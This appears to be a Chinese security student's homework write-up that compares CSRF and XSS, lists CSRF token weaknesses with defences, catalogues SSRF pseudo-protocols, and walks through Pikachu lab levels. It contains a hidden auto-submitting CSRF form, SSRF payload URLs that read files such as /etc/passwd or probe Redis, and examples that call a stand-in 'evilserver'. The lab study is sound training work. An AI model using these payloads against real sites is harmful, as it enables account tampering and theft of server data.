网安实习第六天作业(23组)

目录

CSRF和XSS区别

CSRF攻击步骤

总结CSRF构造post型页面方法

一、确定目标和参数

二、创建 HTML 页面

三、实施攻击

token类CSRF利用方法

1. Token 预测攻击

2. Token 重用攻击

3. Token 泄露攻击

4. Token 注入攻击

5. Token 验证缺陷

6. 跨站点脚本(XSS)结合 CSRF 攻击

SSRF(服务器端请求伪造)中常用的伪协议如下:

http/https协议

file 协议

gopher 协议

dict 协议

ftp 协议

ldap 协议

tftp 协议

jar 协议

ssh 协议

mailto 协议

CSRF靶场通关

第一关(get)

第二关(post)

第三关(token)

SSRF靶场通关

pikachu靶场:

第一关curl:

第二关file_get_content

SSRF靶场源代码分析

curl

file_get_content


CSRF和XSS区别

CSRF(跨站请求伪造)XSS(跨站脚本攻击)
攻击原理
  • 攻击者诱导受害者访问恶意网站,该网站会在受害者不知情的情况下向受害者已登录的其他受信任网站发送伪造的请求。
  • 攻击的关键在于利用受害者在受信任网站上的已认证会话,让服务器误以为请求是受害者正常发出的。
  • 攻击者通过在目标网站注入恶意脚本,当其他用户访问该网站时,浏览器会执行这些恶意脚本。
  • 恶意脚本可以窃取用户的敏感信息、篡改页面内容或者执行其他恶意操作。
攻击目标
  • 主要针对用户在特定网站上的特定操作,如修改密码、转账等。
  • 目的是让服务器执行攻击者期望的操作,而用户并不知情。
  • 目标是访问被攻击网站的用户,窃取用户的信息或者控制用户的浏览器。
  • 可以影响单个用户,也可以通过传播恶意脚本影响多个用户。
攻击方式
  • 通常通过构造恶意链接、表单提交或者图像请求等方式来触发攻击。
  • 例如,攻击者发送一封包含恶意链接的电子邮件,诱导用户点击链接,从而触发对受信任网站的伪造请求。
  • 主要通过在网站的输入框、评论区等地方注入恶意脚本。
  • 比如,在论坛中发布包含恶意脚本的帖子,当其他用户查看该帖子时,恶意脚本就会被执行。
防御方法
  • 验证请求的来源,通过检查 HTTP Referer 头或者添加 CSRF token 来确保请求来自合法的源。
  • 要求用户在执行敏感操作时进行额外的身份验证,如输入密码或验证码。
  • 对用户输入进行严格的过滤和转义,防止恶意脚本被注入到网页中。
  • 设置 HTTP 响应头中的 Content-Security-Policy,限制页面可以加载的资源,防止恶意脚本的执行。

CSRF攻击步骤

1.攻击者确认网页存在CSRF漏洞,了解网站请求格式,如post,get.

2.构造恶意请求,比如恶意链接等

3.诱导受害者点击恶意网站,比如电子邮件,钓鱼网站等

总结CSRF构造post型页面方法

一、确定目标和参数

  1. 首先确定存在 CSRF 漏洞的目标页面以及执行敏感操作所需的参数。可以通过分析目标网站的正常请求或者使用浏览器的开发者工具来查看请求的参数。
  2. 记录下目标页面的 URL 和需要提交的参数名称及对应的值

二、创建 HTML 页面

<html> 
    <head> 
        <title>This is a Test Page</title> 
            <meta charset="UTF-8">
    </head> 
    <body> 
        <form action="http://127.0.0.1:8848/vul/csrf/csrfpost/csrf_post_edit.php" method="post"> 
            <input type="hidden" name="sex" value="man" /> 
            <input type="hidden" name="phonenum" value="15566778899" /> 
            <input type="hidden" name="add" value="重庆邮电⼤学铁塔⻔保安室" /> 
            <input type="hidden" name="email" value="cyber@cqupt.edu.cn" /> 
            <input type="hidden" name="submit" value="submit" />
            <input type="submit" value="点我刷新⻚⾯" />
        </form> 
        <script>history.pushState('','','/')</script>
        <!-- 在浏览器的历史记录(history)中添加⼀个新的记录,⽽不会导致⻚⾯重新加载。⽤于实现⻚⾯的⽆刷新跳转或更新URL⽽不重新加载⻚⾯的效果。 -->
    </body> 
</html>
1

三、实施攻击

token类CSRF利用方法

1. Token 预测攻击

如果 CSRF 令牌是基于某种模式生成的(如顺序生成或易于预测),攻击者可能会尝试预测有效的令牌值。

防范措施:

使用强随机数生成器来生成不可预测的令牌。

确保令牌是唯一且具有足够的复杂性,以防止猜测攻击。

2. Token 重用攻击

如果 CSRF 令牌可以在多个请求中重复使用(即令牌没有过期机制),攻击者可以尝试重用一个有效的令牌。

防范措施:

令牌应具有短期有效性,并在每个请求中使用唯一的令牌。

实施令牌过期机制,确保令牌在一定时间后无效。

3. Token 泄露攻击

如果令牌通过不安全的渠道泄露(如在浏览器的 URL 中传递),攻击者可以截获并利用这些令牌。

防范措施:

通过安全的 HTTP POST 请求传递令牌,避免在 URL 或不安全的存储中使用令牌。

确保令牌不会暴露在浏览器历史记录或日志中。

4. Token 注入攻击

攻击者可能利用某些网站对令牌的处理不当,将恶意令牌注入到请求中。

防范措施:

服务器应严格验证 CSRF 令牌,并确保它们与用户的会话和请求匹配。

5. Token 验证缺陷

如果 CSRF 令牌的验证机制存在漏洞(如不检查令牌的合法性或不绑定到用户会话),攻击者可能绕过验证。

防范措施:

确保 CSRF 令牌的验证逻辑是正确的,令牌应与用户的会话绑定,并进行全面验证。

6. 跨站点脚本(XSS)结合 CSRF 攻击

在某些情况下,XSS 攻击可以与 CSRF 攻击结合,攻击者通过 XSS 获得令牌,然后利用它进行 CSRF 攻击。

防范措施:

防范 XSS 攻击,如对输入进行适当的验证和转义。

确保令牌在 XSS 攻击中不可被窃取,例如通过将令牌存储在 HTTP-only Cookies 中

SSRF(服务器端请求伪造)中常用的伪协议如下:

http/https协议

攻击者可以利用 HTTP/HTTPS 协议请求内部资源或第三方服务

file 协议

可以用于读取服务器本地文件。例如:http://target.com/ssrf.php?url=file:///etc/passwd,如果服务器端没有对输入的 URL 进行严格过滤,可能会导致敏感信息泄露。

gopher 协议

可以构造各种网络请求,常用于攻击内网的 Redis、MySQL 等服务。例如,可以构造一个 gopher 协议的请求去攻击 Redis,实现未授权访问和恶意命令执行。

dict 协议

可用于查询字典服务,比如查询某个单词的定义等。例如:http://target.com/ssrf.php?url=dict://127.0.0.1:6379/info,尝试对内网的 Redis 服务进行信息查询。

ftp 协议

可以用于访问 FTP 服务器。如果服务器端未对输入的 URL 进行严格验证,攻击者可能构造恶意的 FTP 链接来读取或写入文件,或者尝试访问内网中的 FTP 服务器以获取敏感信息。示例:http://target.com/ssrf.php?url=ftp://evilserver/file.txt

ldap 协议

用于访问轻型目录访问协议(LDAP)服务器。攻击者可能尝试利用此协议进行未授权的目录查询或执行其他恶意操作,尤其是针对内网中的 LDAP 服务器。示例:http://target.com/ssrf.php?url=ldap://192.168.1.100

tftp 协议

简单文件传输协议(TFTP)。攻击者可以尝试利用这个协议来读取或写入文件,尤其是在内网环境中。示例:http://target.com/ssrf.php?url=tftp://10.0.0.1/readme.txt

jar 协议

可以用于访问 Java Archive(JAR)文件中的资源。如果服务器端存在 Java 应用且处理不当,可能会导致敏感信息泄露或代码执行漏洞。示例:http://target.com/ssrf.php?url=jar:http://evilserver/malicious.jar!/path/to/resource

ssh 协议

理论上,如果服务器端有相关的 SSH 客户端实现且未正确防护,攻击者可能尝试利用 SSH 协议连接到内网中的其他服务器。但这种情况相对较少见,因为 SSH 通常需要用户交互进行身份验证。示例:http://target.com/ssrf.php?url=ssh://192.168.1.101

mailto 协议

可以触发邮件发送操作。虽然不太常用于直接的 SSRF 攻击,但可能在某些特定场景下被利用来探测邮件服务器或进行其他间接的攻击。示例:http://target.com/ssrf.php?url=mailto:admin@example.com

CSRF靶场通关

第一关(get)

进入界面

修改个人信息并抓包,发现是GET请求,则构造恶意链接

http://127.0.0.1:8848/vul/csrf/csrfget/csrf_get_edit.php?sex=%E4%B8%8D%E8%AF%A6&phonenum=14455667788&add=%E9%87%8D%E5%BA%86%E9%82%AE%E7%94%B5%E5%A4%A7%E5%AD%A6%E9%93%81%E5%A1%94%E9%97%A8%E4%BF%9D%E5%AE%89%E5%AE%A4&email=baoan%40cqupt.edu.cn&submit=submit

直接输入到url框内

修改成功

第二关(post)

抓包发现是POST请求

无法构造恶意链接,写html文档

改之前

修改成功

第三关(token)

利用burpsuite的CSRF token tracker进行攻击

SSRF靶场通关

pikachu靶场:

第一关curl:

从url框中发现此处传递参数是url,用http协议进行的访问

那么思路就是用file让服务器访问自己的本地文件

构造payload:(此处新建一个txt文件放到phpstudy中)

http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///D:/phpstudy_pro/WWW/flag.txt

成功:

第二关file_get_content

分析url,发现file参数,从后端发现file_get_content函数

尝试访问外网:

 和上一题一样,访问内网:

SSRF靶场源代码分析(加分!)

curl
if(isset($_GET['url']) && $_GET['url'] != null){

	//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
	$URL = $_GET['url'];
	$CH = curl_init($URL);
	curl_setopt($CH, CURLOPT_HEADER, FALSE);
	curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
	$RES = curl_exec($CH);
	curl_close($CH) ;
	//ssrf的问题是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
	//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
	//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
	echo $RES;

}

 根据源码可以看到,后端对传入的url参数没有做任何过滤,然后就直接对传入的参数执行了curl,从而导致了ssrf漏洞

file_get_content
if(isset($_GET['file']) && $_GET['file'] !=null){
    $filename = $_GET['file'];
    $str = file_get_contents($filename);
    echo $str;
}

 根据源码可以看到,后端对传入的file参数没有做任何过滤,然后就直接对传入的路径进行了文件读取然后返回,从而导致了ssrf漏洞,和前面有点类

GitHub是一个基于Web的代码托管平台,它提供了版本控制和协作功能,让开发者可以方便地共享和管理代码。在GitHub上,有很多与网安相关的项目,这些项目致力于保护网络安全、防止黑客攻击和提高系统的安全性。以下是一些常见的GitHub网安项目: 1. OWASP(开放式Web应用程序安全项目):OWASP是一个致力于提高Web应用程序安全性的国际织。他们在GitHub上维护了一系列开源项目,包括安全工具、漏洞测试和安全指南等。 2. Metasploit:Metasploit是一个广泛使用的渗透测试框架,它提供了一系列工具和资源,帮助安全专家评估和增强系统的安全性。Metasploit在GitHub上有一个官方仓库,开发者可以在这里获取最新的代码和贡献自己的改进。 3. Snort:Snort是一个开源的入侵检测系统(IDS),它可以监测网络流量并检测潜在的攻击行为。Snort的代码托管在GitHub上,开发者可以参与到项目中,改进和定制自己的IDS规则。 4. Nmap:Nmap是一个网络扫描和主机发现工具,它可以帮助安全专家评估网络的安全性。Nmap的源代码也在GitHub上开放,用户可以自由地访问和贡献代码。 5. Security Shepherd:Security Shepherd是一个教育性的Web应用程序,旨在帮助开发者学习和理解常见的Web安全漏洞。它提供了一系列的挑战和实验,供用户测试和提高自己的安全技能。Security Shepherd的代码也在GitHub上开源。 这些项目只是GitHub上众多网安项目的一小部分,你可以通过在GitHub上搜索关键词来找到更多与网安相关的项目。希望这些信息对你有帮助!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值